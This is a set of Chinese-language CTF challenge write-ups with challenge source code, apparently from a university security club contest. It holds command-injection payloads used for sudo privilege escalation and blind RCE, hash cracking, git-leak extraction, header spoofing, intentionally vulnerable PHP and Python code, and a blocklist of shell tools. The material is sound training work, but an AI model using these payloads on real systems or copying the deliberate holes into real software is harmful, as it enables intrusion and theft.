一个Crypto(编码)+ 五个Misc + 五个Web
Crypto
常见的编码方式
难度:⭐
Author:st4rry
了解 && 学习常见的编码方式,以及编码的特征.【这是签到题!】
flag格式为flag{}
知识点
了解很多的编码的构成和样子.
WriteUp
题目是一个Xmind的思维导图
阅读完思维导图可以找到三部分被编码的flag片段,依次为
# part1: brainfuck
ZmxhZzE=
+++++++++[>++++++++++++<-]>++++.>++++++++[>++++++++++++<-]>+.>+++++++++[>+++++++++++++<-]>---.++.>++++++[>++++++++<-]>+.+++++++++.>+++++++++[>+++++++++++<-]>+++.++++++.>++++++++[>++++++++++++<-]>+.++++++.>++++++++++[>++++++++++++<-]>+++.>++++++++[>+++++++++++<-]>+.>+++++++++[>++++++++++++<-]>+++.++++++.>++++++++[>++++++++++++<-]>-.>++++++[>+++++++++<-]>--.>+++++++++[>+++++++++++++<-]>---.>+++++++[>+++++++<-]>++.>++++++++[>++++++++++++<-]>-.
解码: part1:flag{You_4r3_
# part2
MZWGCZZS566JU===
在维吉尼亚密码出发现key: password2:hack
watd2: z0_sokyt_
解码: part2: s0_smart_
# part3 二进制转字符串
flag3: 011100000110000101110010011101000011001100111010001000000110011001101001011011100110010001011111011101000110100000110011010111110110011000110001011000010110011101111101
part3: find_th3_f1ag}
拼接起来得到最终的flag
flag{You_4r3_s0_smart_find_th3_f1ag}
Misc
隐秘的流量 - 网络通信分析挑战
分类: Misc | 流量分析 | ICMP协议
难度: ⭐⭐
Author: st4rry
在监控系统的定期检查中,安全团队捕获了一些可疑的网络流量。这些数据包的来源和去向不明,且频率异常高。经过初步分析,团队怀疑这些流量可能与数据泄露或恶意软件传播有关。为了确保网络的安全,团队需要你的帮助来分析这些流量。
flag格式为HUBUMARS{flag}
知识点
流量分析
WriteUp
使用WireShark打开流量包,在统计 -> 协议分级中得知有 TCP
,UDP
,ICMP
三种主要的协议 (TCP、UDP没啥东西)
重点关注ICMP协议。
WireShark 过滤条件 icmp && icmp.type == 8
【含义:icmp协议,类型8代表发送请求,参考:ICMP报文的格式和种类-腾讯云开发者社区-腾讯云)
注意到后面都有几个特殊的字符,提取出来
手动提取,或者使用命令行
# 使用tshark 提取
└─🍀 tshark -r secret.pcapng -Y 'icmp && icmp.type == 8' -T fields -e "data.data" | xxd -p -r | base32 -d | base64 -d
HUBUMARS{1CMp_da7a_15_1n73R3571N9}
HUBUMARS{1CMp_da7a_15_1n73R3571N9}
命令解释:
-r
: 读取文件,后面跟流量包文件名-Y
: 过滤的条件,这里是icmp的方法请求的流量包-T
:设置输出格式,如json,fields等-e
: 输出特定的字段xxd -p -r
:将十六进制转化为字符串
出题脚本
import scapy.all as scapy
from random import randint
from base64 import b64encode,b32encode
from time import sleep
def icmp_data():
# flag
flag = 'HUBUMARS{1CMp_da7a_15_1n73R3571N9}'
b64_b32_flag = b32encode(b64encode(flag.encode())).decode()
fake_flag = 'flag{this_is_fake_flag}'
b64_fake_flag = b64encode(fake_flag.encode()).decode()
# 补足长度,和real flag一样长
b64_fake_flag += 'ZmxhZ3t0aGlzX2lzX2Zha2VfZmxhZ30=ZmxhZ3t0aGlzX2lz'
print(b64_b32_flag)
print(b64_fake_flag )
# send icmp packet
# 随机发送数据包
# for i in range(len(b64_b32_flag)):
string1 = ''
string2 = ''
i,j = 0,0
while i < len(b64_fake_flag) or j < len(b64_b32_flag):
if i > 80:
i = 80
if j > 80:
j = 80
signed = randint(1,3)
length = randint(1,4)
if signed == 1:
# 发送tcp数据包
# print(b64_fake_flag[i:i+length])
string1 += b64_fake_flag[i:i+length]
scapy.send(scapy.IP(dst='172.22.162.226')/scapy.TCP()/b64_fake_flag[i:i+length])
i += length
sleep(0.2)
elif signed == 2:
# 发送udp数据包
scapy.send(scapy.IP(dst='172.22.162.226')/scapy.UDP())
# i += length
sleep(0.2)
else:
# 发送icmp数据包
string2 += b64_b32_flag[j:j+length]
scapy.send(scapy.IP(dst='172.22.162.226')/scapy.ICMP()/b64_b32_flag[j:j+length])
j += length
sleep(0.2)
print('string1:', string1)
print('string2:', string2)
if __name__ == '__main__':
icmp_data()
真假二维码
分类: Misc | 压缩包破解 | 图片分离
难度:⭐⭐
Author:st4rry
题目描述
你是一名网络安全分析师,接到了一个紧急任务。需要你分析一个宝藏压缩包,你能找到其中藏有的宝藏(flag)吗?
flag格式为HUBUMARS{}
知识点
- 压缩包破解(弱密码)
图片分离
WriteUp
在解压软件中可以发现注释信息,密码为 8 为数字,爆破
使用ARCHPR进行爆破,得到密码:20021013
解压获得一张图片 faker.png,是一个二维码,扫描得到一个fake flag: HUBUMARS{W0w_y0u_f0und_4_fake_flag}
接着对图片进行分析
$ binwalk faker.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 370 x 370, 1-bit grayscale, non-interlaced
41 0x29 Zlib compressed data, default compression
705 0x2C1 PNG image, 410 x 410, 8-bit/color RGB, non-interlaced
746 0x2EA Zlib compressed data, default compression
可知图片中还包含一张图片,进行分离 (binwalk没有分离成功,foremost可以,或者使用010Editor进行手动分离)
$ foremost faker.png
得到两张图片,其中反色的二维吗包含真正的flag,如果不能识别成功可以进行颜色翻转(调整颜色通道)
# linux命令进行颜色翻转
convert 00000001.png -negate 1.png
扫描得到 SFVCVU1BUlN7NzUxZGEwMzAtOTZiNS0xMWVmLTg5YTctMDAxNTVkODRlZjkwfQo=
base 64 解码得到 flag
HUBUMARS{751da030-96b5-11ef-89a7-00155d84ef90}
SpeedMath
分类: Misc | Socket
难度: ⭐⭐
Author: st4rry
在这个挑战中,隐藏着一个古老而神秘的秘密。传说中,只有最聪明和最敏捷的头脑才能解开这个谜题。如果你足够快,足够聪明,解决了所有问题,你将揭开宝藏的秘密——一个珍贵的FLAG。
知识点
- Socket
- Python脚本编写
Easy的正则
WriteUp
题目会给出两个数字,如A,B
计算A的平方根 乘以 B的值,值为整数(记得取整)import socket import re import math def solve(): ip = "xxxx" port = xxxxx s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) i = 0 while True: i += 1 data = s.recv(1024).decode() print(data) re.compile("[0-9]+") num = re.findall("[0-9]+", data) print(num) result = math.sqrt(int(num[0])) * int(num[1]) print(round(result)) s.send(str(round(result)).encode()) data2 = s.recv(1024) print(i, data2) if __name__ == "__main__": solve()
题目源码
import logging
import socket
import random
import math
import time
import os
# 设置日志记录,将日志信息写入到log.txt文件中,日志级别为INFO
logging.basicConfig(
filename="log.txt", level=logging.INFO, format="%(asctime)s %(message)s"
)
# 生成数学挑战的函数
def generate_challenge():
# 随机生成两个数
numbers = [random.randint(10, 1000), random.randint(1000, 10000)]
# 创建挑战字符串
challenge = (
f"Calculate the square root of {numbers[0]} and multiply by {numbers[1]} = ?\n"
)
# 计算正确答案
correct_answer = round(math.sqrt(numbers[0]) * numbers[1])
return challenge, correct_answer
# 验证客户端回答的函数
def verify_answer(client_response, correct_answer, start_time):
stop_time = time.time()
# 如果客户端的回答是正确的,并且回答时间小于2秒,则返回True
if client_response == str(correct_answer) and (stop_time - start_time) < 2:
return True
return False
# 处理客户端连接的函数
def handle_client(client_socket):
num = 100
# num = random.randint(50, 1000)
# if num > 500:
# client_socket.send(f"[!] 你的运气太差了,需要计算{num}次".encode())
# elif 200 < num < 500:
# client_socket.send(f"[!] 你的运气一般,需要计算{num}次".encode())
# else:
# client_socket.send(f"[!] 你的运气不错,只需要计算{num}次".encode())
# client_socket.recv(1024) # 接收客户端的回答,防止客户端连接时发送数据
flag = 0
for _ in range(num):
# 生成挑战和正确答案
challenge, correct_answer = generate_challenge()
try:
# 向客户端发送挑战
client_socket.send(challenge.encode())
except BrokenPipeError:
# 如果出现BrokenPipeError错误,记录错误信息并返回
logging.error("BrokenPipeError: Disconnect...")
return
start_time = time.time()
try:
# 接收客户端的回答
client_response = client_socket.recv(1024).decode().strip()
except:
# 如果接收回答时出现错误,向客户端发送错误信息并关闭连接
response = "[!] Please only send int!\n"
client_socket.send(response.encode())
client_socket.close()
return
# 记录客户端的回答和正确答案
logging.info(client_response)
logging.info(correct_answer)
# 验证客户端的回答
if verify_answer(client_response, correct_answer, start_time):
flag += 1
response = f"[!] Correct!----{flag}----><------\n"
time.sleep(0.5)
else:
# 如果回答错误或超时(2s),向客户端发送错误信息并关闭连接
response = "[!] Please only send int!\n[!] Incorrect or too low!\n"
try:
client_socket.send(response.encode())
except: # 如果出现BrokenPipeError(客户端断开连接,服务端仍然发送)错误,记录错误信息并返回
logging.error("2: BrokenPipeError: Disconnect...")
return
# client_socket.close()
return
# 如果所有的挑战都已经完成,向客户端发送完成信息并关闭连接
if flag == num:
# 获取环境变量中的flag
# flag = os.environ.get("FLAG")
real_flag = os.environ.get("GZCTF_FLAG")
response = f"[!] Congratulations! You solved the challenge!\n{real_flag}\n"
# response = f"[!] Congratulations! You solved the challenge!\n{flag}\n"
client_socket.send(response.encode())
client_socket.close()
return
client_socket.send(
response.encode()
) # 发送[!] Correct!----{flag}----><------给客户端
client_socket.send("[!] Challenge completed. Goodbye!".encode())
client_socket.close()
# 启动服务器的函数
def start_server():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
# 绑定到0.0.0.0的8081端口,并开始监听
server.bind(("0.0.0.0", 8080))
server.listen(512)
logging.info("Server is listening on port 8080...")
while True:
# 接受新的客户端连接
client_socket, addr = server.accept()
logging.info(f"Accepted connection from {addr}")
# 处理客户端连接
handle_client(client_socket)
logging.info("-------" * 10)
# 如果这个脚本是直接运行的,而不是被导入的,那么启动服务器
if __name__ == "__main__":
print(os.environ.get("FLAG"))
start_server()
行测-类比推理
分类: Misc | Hash爆破 | 考公圣体~~
难度: ⭐⭐⭐
听说,宇宙的尽头是编制。
某人被类比推理的题目折磨后决定让其他人也感受考公的乐趣一下。(x)编制通常是指国家机关、事业单位或企业等单位正式员工所具有的一种身份属性,通常与工作稳定、福利待遇较好等特征相关联。
知识点
行测-类比推理(X)
hash爆破
Writeup
nc ip port
连接
$ nc challenge.hubuctf.cn 30106
______ ____ __ _____ _
/ ___\ \ / /\ \ / / |_ _|__ ___| |_
| | _ \ \ /\ / / \ V /____| |/ _ \/ __| __|
| |_| | \ V V / | |_____| | __/\__ \ |_
\____| \_/\_/ |_| |_|\___||___/\__| --行测-类比推理
🫡🫡🫡2024-12-1 国考 - 考前演练🫡🫡🫡
🥳🥳🥳Notice: Please Use Linux Shell!!!🥳🥳🥳
🌻Question 1: 聊斋志异:马骥
A.三国演义:诸葛亮
B.平凡的世界:孙少平
C.源氏物语:紫式部
D.红楼梦:贾宝玉
Your answer:
随便输入
Okay,Next Question
🤗🤗🤗抱歉,你的答案并不是完全正确🤗🤗🤗
🤪🤪🤪你的正确率为:0.4166666666666667 ,再接再厉🤪🤪🤪
🥰🥰🥰Hint: 正确密码的Hash-sha256为0d0a8f1dd81ca2d61534dd23f1debb0c861e4738d05c7f548c55e5df72d4f023🥰🥰🥰
上面hash为你的所有答案的hash值hash('CABD')
获得一串hash: 0d0a8f1dd81ca2d61534dd23f1debb0c861e4738d05c7f548c55e5df72d4f023
写个脚本跑一下
from itertools import product
from hashlib import sha256
options = "ABCD"
right_hash = '0d0a8f1dd81ca2d61534dd23f1debb0c861e4738d05c7f548c55e5df72d4f023'
for i in product(options,repeat=12):
# print(''.join(i))
# break tmp = ''.join(i)
if sha256(tmp.encode()).hexdigest() == right_hash:
print(tmp)
运行结果: DBCDDCCAADCB
,这就是选择题的答案,依次输入
🎊🎊🎊Congratulations🎊🎊🎊
🥇🥇🥇你就是考公圣体!!!🎇🎇🎇
💯💯💯HUBUCTF{592cac3d-4bfe-432b-b865-aebdbc0b624a}💯💯💯
题目源码
import hashlib
import logging
import socket
import threading
import time
slogn = """
______ ____ __ _____ _ / ___\ \ / /\ \ / / |_ _|__ ___| |_| | _ \ \ /\ / / \ V /____| |/ _ \/ __| __|
| |_| | \ V V / | |_____| | __/\__ \ |_
\____| \_/\_/ |_| |_|\___||___/\__| --行测-类比推理
\n 🫡🫡🫡2024-12-1 国考 - 考前演练🫡🫡🫡 \n
🥳🥳🥳Notice: Please Use Linux Shell!!!🥳🥳🥳 \n
"""questions = [
("聊斋志异:马骥", ["A.三国演义:诸葛亮", "B.平凡的世界:孙少平", "C.源氏物语:紫式部", "D.红楼梦:贾宝玉"], "D"),
# 27.6%
("好感:喜欢:热爱", ["A.伤心:悲伤:悲哀", "B.不安:紧张:焦躁", "C.不悦:反感:厌恶", "D.高兴:愉快:喜悦"], "B"),
# 24.5%
(
"蝉噪林逾静 对于 ()相当于 () 对于 满架蔷薇一院香",
["A.菊花从此不须开 谷鸟吟晴日", "B.蒌蒿满地芦芽短 雁行遥上月", "C.石榴开遍透帘明 卢橘垂金弹",
"D.千里莺啼绿映红 燕草如碧丝"], "C"), # 27.9%
("乱闯红灯:交通违章:行政罚款",
["A.打架斗殴:扰乱秩序:毁坏公物", "B.经济过热:通货膨胀:货币贬值", "C.市场经济:市场失灵:国家干预",
"D.行政垄断:地方保护:法律规制"], "D"), # 24.5%
("跳远:三级跳远:田赛", ["A.桌子:餐桌:家具", "B.游泳:自行车:长跑", "C.电视:冰箱:家电", "D.竞走:马拉松:径赛"],
"D"), # 27.5%
("三心:两意", ["A.五脏:六腑", "B.朝令:夕改", "C.惊世:骇俗", "D.信誓:旦旦"], "C"), # 29.7%
("汉文帝:刘恒:文景之治",
["A.宋太祖:赵匡胤:杯酒释兵权", "B.唐太宗:李世民:贞观之治", "C.清圣祖:爱新觉罗·玄烨:康乾盛世",
"D.秦始皇:嬴政:焚书坑儒"], "C"), # 26.8%
("苏轼:春江水暖鸭先知",
["A.李煜:自是人生长恨水长东", "B.刘禹锡:江春入旧年", "C.李商隐:照影摘花花似面", "D.晏殊:那人却在灯火阑珊处"], "A"),
# 28.7%
("() 对于 明辨是非 相当于 清正廉洁 对于 ()",
["A.公正公平;树立威信", "B.独立思考;风清气正", "C.热爱真理;口碑声望", "D.修身养性;政治生态"], "A"), # 24.6%
(
"讷言敏行:《论语》", ["A.草木皆兵:《三国演义》", "B.运筹帷幄:《左传》", "C.食言而肥:《史记》", "D.饮鸩止渴:《后汉书》"],
"D"), # 26.9%
("天下雨:地上湿", ["A.满18岁:有选举权", "B.开花:结果", "C.地上不湿:天没下雨", "D.摩擦:生热"], "C"), # 22.9
("荷兰:日本", ["A.中国:印度", "B.德国:英国", "C.美国:加拿大", "D.瑞典:西班牙"], "B"), # 29.8
]
# 配置日志记录,记录错误信息
logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s", filename="log.log")
answer = "DBCDDCCAADCB"
answer_sha256 = "0d0a8f1dd81ca2d61534dd23f1debb0c861e4738d05c7f548c55e5df72d4f023"
# print(hashlib.sha256(answer.encode('utf-8')).hexdigest())
def handle_client(client_socket, addr):
"""
处理客户端的连接
:param client_socket: :param addr: :return:
""" try:
logging.info(f"New connect from {addr}")
score = 0
your_answers = ""
global result
# 发送题目介绍
client_socket.send(slogn.encode( ))
time.sleep(1)
# 发送问题
for idx, (question, options, correct_answer) in enumerate(questions):
question_text = f"🌻Question {idx + 1}: {question}\n"
options_text = "\n".join(options)
prompt = f"{question_text}\n{options_text}\nYour answer: "
client_socket.send(prompt.encode('utf-8'))
# 接收客户端的答案
# 循环直到客户端输入有效选项 A, B, C, D while True:
try:
your_answer = client_socket.recv(1024).decode().strip().upper()
if your_answer not in ['A', 'B', 'C', 'D']:
client_socket.send("Invalid input. Please choose A, B, C, or D.\n".encode('utf-8'))
else:
break # 有效输入,跳出循环
except Exception as e:
logging.error(f"Error receiving data from {addr}: {e}")
client_socket.send("Error receiving your answer. Connection closed.\n".encode('utf-8'))
client_socket.close()
return
your_answers += your_answer
# 检查答案是否正确
if your_answer == correct_answer:
score += 1
client_socket.send("Okay,Next Question\n".encode('utf-8'))
else:
client_socket.send("Okay,Next Question\n".encode('utf-8'))
# 计算用户输入的答案的hash
your_answers_hash = hashlib.sha256(your_answers.encode('utf-8')).hexdigest()
if your_answers_hash == answer_sha256:
result = "🎊🎊🎊Congratulations🎊🎊🎊\n"
result += "🥇🥇🥇你就是考公圣体!!!🎇🎇🎇\n"
flag = "💯💯💯flag{99bd86a0-a16c-11ef-90a8-00155d027af0}💯💯💯\n"
result += flag
else:
result = "🤗🤗🤗抱歉,你的答案并不是完全正确🤗🤗🤗\n"
result += f"🤪🤪🤪你的正确率为:{score} / {len(questions)} ,再接再厉\n🤪🤪🤪"
result += f'🥰🥰🥰Hint: 正确密码的Hash-sha256为{answer_sha256}\n'
# 发送最终的结果
client_socket.send(result.encode('utf-8'))
except Exception as e:
logging.error(f"Error while handling client {addr}: {e}")
try:
client_socket.send("发生了一个错误")
except:
pass
finally:
# 确保客户端连接正常关闭
try:
client_socket.close()
except:
pass
# 服务器端函数
def challenges_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 8080))
server.listen(200)
print("Start Running")
while True:
# 接受客户端的连接
client_socket, addr = server.accept()
# 为每个连接创建 新线程
threading.Thread(target=handle_client, args=(client_socket, addr)).start()
if __name__ == "__main__":
challenges_server()
Get Root or Get Lost
分类: Misc | 提权
难度: ⭐⭐⭐⭐
Author: st4rry
题目情景:略
使用ssh连接,读取root目录下的flag😉
用户名:hubumars
密码:hubumars
知识点
- Python 代码ez审计
- Linux 命令 拼接
Writeup
ssh连接后
提权,sudo -l
起手
$ sudo -l
User hubumars may run the following commands on privesc-gz-01jdk0yezpd35xej6112sgekap:
(ALL) NOPASSWD: /usr/local/bin/python3 /opt/game.py
可以以sudo命令执行 /opt/game.py
,该文件不可读
$ cat /opt/game.py
cat: can't open '/opt/game.py': Permission denied
但是在hubumars的家目录下有一个备份文件 game.bak
$ ls
game.bak
$ ls -l
-rwxrwxrwx 1 hubumars hubumars 2135 Nov 25 11:27 game.bak
game.bak的源码
# -*- coding: utf-8 -*-
import random
import subprocess
def play_game():
choices = ["石头", "剪刀", "布"]
print("欢迎来到猜拳游戏!")
print("输入你的选择:")
print("1. 石头")
print("2. 剪刀")
print("3. 布")
print("输入 0 退出游戏")
player = input("请输入你的名字:")
while True:
try:
# global user_choice
user_choice = int(input("你的选择:"))
if user_choice == 0:
print("游戏结束!")
break
if user_choice not in [1, 2, 3]:
print("无效输入,请选择 1, 2, 3 或 0 退出游戏。")
continue
user_move = choices[user_choice - 1]
computer_move = random.choice(choices)
print(f"你选择了:{user_move}")
print(f"电脑选择了:{computer_move}")
if user_move == computer_move:
print("平局!")
elif (
(user_move == "石头" and computer_move == "剪刀")
or (user_move == "剪刀" and computer_move == "布")
or (user_move == "布" and computer_move == "石头")
):
print("你赢了!载入史册")
winner = (
"echo 用户 【%s】 你战胜利计算机!载入史册 >> shice.txt " % player
)
subprocess.Popen(winner, shell=True)
else:
print("你输了!")
except ValueError:
print("无效输入,请输入数字。")
user_choice = "无效输入"
message = "echo 警报警报,检测%s 恶意输入 %s >> warning.txt " % (
player,
user_choice,
)
print(message)
with open("warning.txt", "a") as file:
process = subprocess.Popen(
["echo", message], stdout=file # 将标准输出重定向到文件
)
process.communicate()
if __name__ == "__main__":
play_game()
分析,定位到漏洞点
winner = (
"echo 用户 【%s】 你战胜利计算机!载入史册 >> shice.txt " % player
)
subprocess.Popen(winner, shell=True)
设置了shell=True
可能被命令拼接(linux的特性,命令拼接)
例如在linux下执行echo 1;pwd;whoami
,就相当于依次执行了echo 1
、pwd
、whoami
使用sudo
运行/opt/game.py
$ sudo /usr/local/bin/python3 /opt/game.py
欢迎来到猜拳游戏!
输入你的选择:
1. 石头
2. 剪刀
3. 布
输入 0 退出游戏
请输入你的名字:;whoami;
<SNIP>输了好多次,只有赢了才会被记录,到达漏洞点<SNIP>
你的选择:2
你选择了:剪刀
电脑选择了:布
你赢了!载入史册
root
/bin/sh: 】: not found
按照上述方法就可以读取到flag.
先使用find命令找一下flag的位置
请输入你的名字:;find / -name "*flag*" 2>/dev/null;
<SNIP>....<SNIP>
/root/flag
然后读取root目录下的flag即可
请输入你的名字:;cat /root/flag;
HUBUCTF{....}
Web
Robots Leak
分类: Web | Robots协议 | Git 泄露
难度: ⭐⭐
Author: st4rry
机器人不小心泄露了一些敏感信息,你能找到其中的秘密(flag)吗?
知识点
- Robots 协议
- Git 泄露 Git Log
- Git Stash
WriteUp
访问 robots.txt 得知有目录.git
使用git-dumper进行利用
$ git-dumper url dir
$ cd dir
在dir目录下
$ git log
重点关注
commit 5d03e0c5589416a958392ad483f7df7a2c506382
Author: k-0-i <jzcheng3@gmail.com>
Date: Mon Oct 28 03:05:51 2024 +0000
Add flag part 1
然后查看该commit,获得第一段flag
$ git show 5d03e0c5589416a958392ad483f7df7a2c506382
commit 5d03e0c5589416a958392ad483f7df7a2c506382
Author: k-0-i <jzcheng3@gmail.com>
Date: Mon Oct 28 03:05:51 2024 +0000
Add flag part 1
diff --git a/flag1 b/flag1
new file mode 100644
index 0000000..373f1ad
--- /dev/null
+++ b/flag1
@@ -0,0 +1 @@
+part1: HUBUMAR{4a956bb8
接着使用git stash
git stash list
stash@{0}: On master: Test ^_^
stash@{1}: On master: Hide flag part 2
stash@{1}
存在 flag
$ git stash pop --index 1
On branch master
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: .flag.exe
new file: flag.txt
Dropped refs/stash@{1} (6a9f6961edcd9cb7727393b3aa9160b97ce13cf7)
第二部分 flag 在 .flag.exe 中
出题脚本
网站源码app.py
import flask
import os
from flask import send_from_directory, abort
app = flask.Flask(__name__)
@app.route("/")
def index():
return "Enjoy your CTF challenges!"
@app.route("/robots.txt")
def robots():
return "User-agent: *\nDisallow: /.git"
@app.route("/.git/<path:filename>")
def git_directory(filename):
git_dir = os.path.join(os.getcwd(), ".git")
if os.path.isfile(os.path.join(git_dir, filename)):
return send_from_directory(git_dir, filename)
else:
abort(404) # File not found
if __name__ == "__main__":
app.run(host="0.0.0.0")
出题脚本
#!/bin/sh
# export FLAG=HUBUMAR{4a956bb8-946c-11ef-8cf5-00155d84e62e}
export FLAG=$GZCTF_FLAG
# 在/app目录下创建一个名为.git的文件夹
cd /app
# 初始化git仓库
git init
# 创建一个名为flags的文件夹
mkdir flags
# 在flags文件夹下创建一个名为flag的文件
echo "flag{this_is_a_fake_flag}" >flags/fake_flag
# 配置git仓库的用户名和邮箱
git config --global user.email "jzcheng3@gmail.com"
git config --global user.name "k-0-i"
# 将flags文件夹添加到git仓库中
git add .
# 提交git仓库
git commit -m "init"
# 删除flags文件夹
rm -rf flags
# 将/app目录下的所有文件添加到git仓库中
git add .
# 提交git仓库
git commit -m "Remove Flag(X)"
# 第一部分flag 和 第二部分flag
flag_part1=$(echo $FLAG | cut -c 1-16)
flag_part2=$(echo $FLAG | cut -c 17-)
echo "part1:" "$flag_part1" >flag1
# 添加
git add .
# 提交
git commit -m "Add flag part 1"
# 删除
rm -f flag1
# flag is where
echo "Where is the flag?" >where_is_the_flag
# 添加
git add .
# 提交
git commit -m "Can u help me?!"
# 删除
rm -f where_is_the_flag
# 添加
git add .
# 提交
git commit -m "^_^ ^_^"
echo "flag is where" >where_is_the_flag.txt
# 添加
git add .
# 提交
git commit -m "Please help me!"
# 删除
rm -f where_is_the_flag.txt
# 添加
git add .
# 提交
git commit -m "^_^ ^_^ ~_~ ~_~"
# 使用git stash 隐藏第二部分flag
echo "part2:" "$flag_part2" >.flag.exe
echo "fake_flag{fake_flag}" >flag.txt
# 添加
git add .
# git stash
git stash save "Hide flag part 2"
echo "This_is_a_test" >test.txt
git add .
git stash save "Test ^_^"
echo "OKay~ Enjoy it!" >game.txt
git add .
git commit -m "Game Start!"
rm -f game.txt
git add .
git commit -m "Game Over!"
rm -rf /tmp/files
unset FLAG
unset GZCTF_FLAG
python app.py
RCE - Level 2
分类: Web | RCE
难度: ⭐⭐⭐
Author: St4rry
小 S 发现这个网站存在命令执行漏洞,但是似乎没有回显,你能帮助小 S 找到 flag 吗?
知识点
- 命令执行
- 无回显
WriteUp
首先访问网站,是一个登陆界面
重点关注网页前端源码的js文件
<script src="./static/script.js"></script>
访问后看到源码包含用户名和密码的hash
; document.getElementById('loginForm').addEventListener('submit', function (event) { event.preventDefault(); const username = document.getElementById('username').value; const password = document.getElementById('password').value; const validUsernameBase64 = 'aHVidW1hcnM='; const validPasswordHash = 'ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f'; const usernameBase64 = btoa(username); const passwordHash = CryptoJS.SHA256(password).toString(); console.log(usernameBase64, passwordHash); if (usernameBase64 === validUsernameBase64 && passwordHash === validPasswordHash) { alert('Login successful!'); window.location.href = "./cmd.php" } else { document.getElementById('errorMessage').style.display = 'block' } });;
用户名被base64编码了aHVidW1hcnM=
, (解码后是hubumars)
密码是sha256: ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f
,可以进行暴力破解
hashcat -a 0 -m 1400 hash /usr/share/wordlists/rockyou.txt
=>可以破解出来: password123
其实不用登录也行,注意到js源码中重定向到./cmd.php
,直接访问即可
进入后是一个ping 界面,最基础的命令执行了(但是不会回显运行结果)
命令执行常规做法:命令拼接
可见,分号没有被过滤(其实几乎没做啥过滤),不回显的做法
- 将运行结果写入到网站的文件里。
- 写马
进行数据外带,如dnslog,curl等都可以
这里主要用第一种方法
经过测试,发现static/script.js是可以写入的
在输入框中输入127.0.0.1;ls >> static/script.js
,页面显示执行成功后查看js文件,可以看到执行的结果
在根目录下找到flag文件f1ag_1s_h3r3
(127.0.0.1;ls / >> static/script.js
)
继续读取flag ,执行127.0.0.1;cat /f1ag_1s_h3r3 >> static/script.js
需要注意,每隔1分钟,script.js文件会被重置,需要及时查看,如果没有就重复执行
题目的主要代码
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { $address = $_POST["address"]; echo "<h2>Ping Results for $address:</h2>"; // Execute the ping command and check the return status $output = shell_exec("ping -c 2 $address"); if (preg_match("/bash|sh|python|nc|php|perl/i", $address)) { die("休想反弹shell"); } if ($output) { echo "<p>执行成功</p>"; } else { echo "<p>执行失败</p>"; } } ?>
ez-http
分类: Web | HTTP 协议
难度: ⭐
Author: St4rry
一些简单的 http 协议的请求你知道吗?
知识点
常见的 http 请求头
Wirteup
GET 请求: ?name=YourName
Post 请求: age=YourAge
浏览器: User-Agent:HUBUMARS
来自: Referer:https://hubumars.com/
要求是hubumars的成员才能访问,即 Cookie
Cookie: Cookie:HUBUMARS=True
伪造 IP: X-Forwarded-For
行不通,试试其他的, Client-IP:11.45.1.4
然后重定向
$ curl http://challenge.hubuctf.cn:30635/?name=jzc -XPOST -d "age=18" -A "HUBUMARS" -e 'http://hubumars.com/' -b "HUBUMARS=True" -H "Client-IP:11.45.1.4"
<script>window.location.href = './n3wp493.php';</script>
# 如果浏览器访问
什么东西一闪而过,你看到了什么?
是Flag吗?
$ curl http://challenge.hubuctf.cn:30635/n3wp493.php
<body>
恭喜你,发现Flag:HUBUCTF{e260d4b5-549f-4700-b2a3-d09ce5ad20d0}
</body>
题目源码
index.php
<?php
# 初始化设置一个Cookie,HUBUMARS=False
setcookie("HUBUMARS", "False");
include_once("fl4g.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>湖北大学网络空间安全协会招新</title>
</head>
<body>
<?php
if (isset($_GET['name'])) {
echo "你的名字是:" . $_GET['name']."<br>";
} else {
die("使用GET方法传递参数name,值为你的名字");
// echo "<br>";
}
if (isset($_POST['age'])) {
echo "你的年龄是:" . $_POST['age']."<br>";
} else {
die("使用POST方法传递参数age,值为你的年龄");
// echo "<br>";
}
if (isset($_SERVER['HTTP_USER_AGENT']) && $_SERVER['HTTP_USER_AGENT'] == "HUBUMARS") {
echo "你的浏览器是:" . $_SERVER['HTTP_USER_AGENT']."<br>";
// echo $flag;
} else {
die("需要你使用HUBUMARS专属的浏览器进行访问</br>你现在使用的浏览器是:" . $_SERVER['HTTP_USER_AGENT']);
}
if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] == "http://hubumars.com/") {
echo "你的来源是:" . $_SERVER['HTTP_REFERER']."<br>";
// echo $flag;
} else {
die("需要你从http://hubumars.com/访问</br>你现在的来源是:" . $_SERVER['HTTP_REFERER']);
}
if (isset($_COOKIE['HUBUMARS']) && $_COOKIE['HUBUMARS'] == "True") {
echo "欢迎协会成员<br>";
// echo $flag;
} else {
die("接下来的内容只有HUBUMARS成员才能访问,你需要先加入湖北大学网络空间安全协会</br>");
}
if (isset($_SERVER['HTTP_CLIENT_IP']) && $_SERVER['HTTP_CLIENT_IP'] == "11.45.1.4"){
echo "你的IP地址符合条件</br>";
}
else {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
die("你不会只知道X-Forwarded-For吧?<br>");
}
die("请通过IP (11.45.1.4)访问");
}
// 重定向
echo "<script>window.location.href = './n3wp493.php';</script>";
?>
</body>
</html>
n3wp493.php
<?php
header("Location: ./flag.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>湖北大学网络空间安全协会招新</title>
</head>
<body>
<?php
include_once("fl4g.php");
echo "恭喜你,发现Flag:" . $flag;
?>
</body>
</html>
flag.php
<?php
echo "什么东西一闪而过,你看到了什么?</br>";
echo "是Flag吗?</br>";
?>
fl4g.php
<?php
$flag = getenv('FLAG');
?>
Random_Door
分类: Web | 文件包含 | 气运之子/暴力破解
难度:⭐⭐⭐
Author: K1t0 & St4rry
知识点
文件包含、暴力破解
Wirteup
这个题目一共有两个入口,有2%的概率一下子就点到题目入口 (每次启动题目入口都不一样)如果你是气运之子,就可以直接开始做题啦
